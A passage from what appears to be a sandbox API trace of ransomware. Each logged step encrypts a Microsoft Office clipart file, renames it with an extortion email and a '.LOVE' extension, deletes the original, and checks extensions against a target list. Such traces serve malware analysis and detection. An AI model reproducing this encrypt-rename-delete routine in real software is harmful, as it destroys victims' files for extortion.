(hFile=0x358) returned 1 [0219.030] CloseHandle (hObject=0x358) returned 1 [0219.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0219.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0219.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0219.031] lstrlenW (lpString=".doc") returned 4 [0219.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.031] lstrlenW (lpString=".docx") returned 5 [0219.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.031] lstrlenW (lpString=".pdf") returned 4 [0219.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.031] lstrlenW (lpString=".xls") returned 4 [0219.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.031] lstrlenW (lpString=".xlsx") returned 5 [0219.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.031] lstrlenW (lpString=".ppt") returned 4 [0219.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0219.031] lstrlenW (lpString=".zip") returned 4 [0219.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.031] lstrlenW (lpString=".rar") returned 4 [0219.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.031] lstrlenW (lpString=".bz2") returned 4 [0219.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.031] lstrlenW (lpString=".7z") returned 3 [0219.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0219.031] lstrlenW (lpString=".dbf") returned 4 [0219.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0219.032] lstrlenW (lpString=".1cd") returned 4 [0219.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0219.032] lstrlenW (lpString=".jpg") returned 4 [0219.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.032] GetLastError () returned 0x0 [0219.032] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x914, lpOverlapped=0x0) returned 1 [0219.408] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x920, lpOverlapped=0x0) returned 1 [0219.409] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.409] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.410] SetEndOfFile (hFile=0x320) returned 1 [0219.410] CloseHandle (hObject=0x320) returned 1 [0219.410] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.410] SetEndOfFile (hFile=0x358) returned 1 [0219.411] CloseHandle (hObject=0x358) returned 1 [0219.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0219.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0219.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0219.411] lstrlenW (lpString=".doc") returned 4 [0219.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.411] lstrlenW (lpString=".docx") returned 5 [0219.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.411] lstrlenW (lpString=".pdf") returned 4 [0219.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.411] lstrlenW (lpString=".xls") returned 4 [0219.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.411] lstrlenW (lpString=".xlsx") returned 5 [0219.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.412] lstrlenW (lpString=".ppt") returned 4 [0219.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0219.412] lstrlenW (lpString=".zip") returned 4 [0219.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.412] lstrlenW (lpString=".rar") returned 4 [0219.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.412] lstrlenW (lpString=".bz2") returned 4 [0219.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.412] lstrlenW (lpString=".7z") returned 3 [0219.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0219.412] lstrlenW (lpString=".dbf") returned 4 [0219.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0219.412] lstrlenW (lpString=".1cd") returned 4 [0219.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0219.412] lstrlenW (lpString=".jpg") returned 4 [0219.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.412] GetLastError () returned 0x0 [0219.412] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0219.563] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0219.564] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.564] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.565] SetEndOfFile (hFile=0x320) returned 1 [0219.565] CloseHandle (hObject=0x320) returned 1 [0219.565] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.565] SetEndOfFile (hFile=0x358) returned 1 [0219.565] CloseHandle (hObject=0x358) returned 1 [0219.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0219.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0219.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0219.566] lstrlenW (lpString=".doc") returned 4 [0219.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.566] lstrlenW (lpString=".docx") returned 5 [0219.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.566] lstrlenW (lpString=".pdf") returned 4 [0219.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.566] lstrlenW (lpString=".xls") returned 4 [0219.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.566] lstrlenW (lpString=".xlsx") returned 5 [0219.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.567] lstrlenW (lpString=".ppt") returned 4 [0219.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0219.567] lstrlenW (lpString=".zip") returned 4 [0219.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.567] lstrlenW (lpString=".rar") returned 4 [0219.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.567] lstrlenW (lpString=".bz2") returned 4 [0219.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.567] lstrlenW (lpString=".7z") returned 3 [0219.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0219.567] lstrlenW (lpString=".dbf") returned 4 [0219.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0219.567] lstrlenW (lpString=".1cd") returned 4 [0219.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0219.567] lstrlenW (lpString=".jpg") returned 4 [0219.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.568] GetLastError () returned 0x0 [0219.568] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x3044, lpOverlapped=0x0) returned 1 [0219.618] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3050, lpOverlapped=0x0) returned 1 [0219.619] ReadFile (in: hFile=0x358, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.619] WriteFile (in: hFile=0x320, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.619] SetEndOfFile (hFile=0x320) returned 1 [0219.619] CloseHandle (hObject=0x320) returned 1 [0219.620] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.620] SetEndOfFile (hFile=0x358) returned 1 [0219.621] CloseHandle (hObject=0x358) returned 1 [0219.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0219.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0219.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0219.621] lstrlenW (lpString=".doc") returned 4 [0219.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.622] lstrlenW (lpString=".docx") returned 5 [0219.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.622] lstrlenW (lpString=".pdf") returned 4 [0219.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.622] lstrlenW (lpString=".xls") returned 4 [0219.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.622] lstrlenW (lpString=".xlsx") returned 5 [0219.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.622] lstrlenW (lpString=".ppt") returned 4 [0219.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0219.622] lstrlenW (lpString=".zip") returned 4 [0219.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.622] lstrlenW (lpString=".rar") returned 4 [0219.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.622] lstrlenW (lpString=".bz2") returned 4 [0219.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.622] lstrlenW (lpString=".7z") returned 3 [0219.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0219.626] lstrlenW (lpString=".dbf") returned 4 [0219.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0219.626] lstrlenW (lpString=".1cd") returned 4 [0219.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0219.626] lstrlenW (lpString=".jpg") returned 4 [0219.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.639] GetLastError () returned 0x0 [0219.639] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0219.770] WriteFile (in: hFile=0x35c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0219.770] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.771] WriteFile (in: hFile=0x35c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.771] SetEndOfFile (hFile=0x35c) returned 1 [0219.771] CloseHandle (hObject=0x35c) returned 1 [0219.771] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.771] SetEndOfFile (hFile=0x354) returned 1 [0219.772] CloseHandle (hObject=0x354) returned 1 [0219.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0219.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0219.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0219.773] lstrlenW (lpString=".doc") returned 4 [0219.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString=".docx") returned 5 [0219.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.773] lstrlenW (lpString=".pdf") returned 4 [0219.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString=".xls") returned 4 [0219.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.773] lstrlenW (lpString=".xlsx") returned 5 [0219.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.773] lstrlenW (lpString=".ppt") returned 4 [0219.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0219.773] lstrlenW (lpString=".zip") returned 4 [0219.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.773] lstrlenW (lpString=".rar") returned 4 [0219.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString=".bz2") returned 4 [0219.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString=".7z") returned 3 [0219.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0219.773] lstrlenW (lpString=".dbf") returned 4 [0219.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0219.773] lstrlenW (lpString=".1cd") returned 4 [0219.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0219.773] lstrlenW (lpString=".jpg") returned 4 [0219.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.784] GetLastError () returned 0x0 [0219.784] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x3772, lpOverlapped=0x0) returned 1 [0219.864] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3780, lpOverlapped=0x0) returned 1 [0219.864] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.865] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.865] SetEndOfFile (hFile=0x348) returned 1 [0219.865] CloseHandle (hObject=0x348) returned 1 [0219.865] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.865] SetEndOfFile (hFile=0x354) returned 1 [0219.866] CloseHandle (hObject=0x354) returned 1 [0219.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0219.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0219.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0219.866] lstrlenW (lpString=".doc") returned 4 [0219.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString=".docx") returned 5 [0219.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.867] lstrlenW (lpString=".pdf") returned 4 [0219.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString=".xls") returned 4 [0219.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.867] lstrlenW (lpString=".xlsx") returned 5 [0219.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.867] lstrlenW (lpString=".ppt") returned 4 [0219.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0219.867] lstrlenW (lpString=".zip") returned 4 [0219.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.867] lstrlenW (lpString=".rar") returned 4 [0219.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString=".bz2") returned 4 [0219.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString=".7z") returned 3 [0219.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0219.867] lstrlenW (lpString=".dbf") returned 4 [0219.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0219.867] lstrlenW (lpString=".1cd") returned 4 [0219.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0219.867] lstrlenW (lpString=".jpg") returned 4 [0219.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.869] GetLastError () returned 0x0 [0219.869] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0219.960] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0219.961] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.962] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.962] SetEndOfFile (hFile=0x348) returned 1 [0219.962] CloseHandle (hObject=0x348) returned 1 [0219.962] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.962] SetEndOfFile (hFile=0x354) returned 1 [0219.963] CloseHandle (hObject=0x354) returned 1 [0219.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0219.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0219.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0219.964] lstrlenW (lpString=".doc") returned 4 [0219.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString=".docx") returned 5 [0219.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.964] lstrlenW (lpString=".pdf") returned 4 [0219.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString=".xls") returned 4 [0219.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.964] lstrlenW (lpString=".xlsx") returned 5 [0219.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.964] lstrlenW (lpString=".ppt") returned 4 [0219.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0219.964] lstrlenW 